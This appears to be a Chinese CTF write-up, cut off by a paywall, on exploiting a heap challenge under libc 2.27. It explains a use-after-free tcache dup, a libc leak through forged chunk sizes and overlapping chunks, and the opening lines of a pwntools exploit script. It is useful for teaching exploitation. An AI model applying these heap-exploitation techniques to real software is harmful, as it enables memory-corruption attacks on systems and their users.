例行检查
保护全开,分析程序。
add函数

只能申请小于0x78大小的chunk,chunk数量不能超过24个,且题目给了申请到内存空间的地址。
free函数

free后指针没有置0,且libc是2.27的,存在tcache dup。唯一问题就在于如何得到libc的地址。泄露libc地址一般通过unsortbin,存在tcache的情况下,64位程序需要申请超过0x400大小chunk,free之后才能进unsortbin,所以只能通过修改chunksize,其次要得到libc地址必须要分配到这块地方题目才能给你打印出来,通过overlap可以将在tcache中的fd部分变为unsortbin的fd部分,从而分配到libc地址上空间。
from pwn import *
io=remote('xx.xx.xx.xx',xxxx)
libc=ELF('./libc.so.6')
def add(idx,size,data):
io.recvuntil('choice > ')
io.sendline('1')
io.recvuntil('the index')
io.sendline(str(idx))
io.recvuntil('the size')
io.sendline(str(size))
io.recvuntil('something')
io.sendline(data

该博客详细分析了一个保护全开的程序,重点探讨了`add`和`free`函数。由于free后指针未置0,存在tcache dup漏洞。在64位环境中,通过修改chunk size并利用overlap技术,可以将tcache中的fd转为unsortbin的fd,从而泄露libc地址。
最低0.47元/天 解锁文章
551

被折叠的 条评论
为什么被折叠?



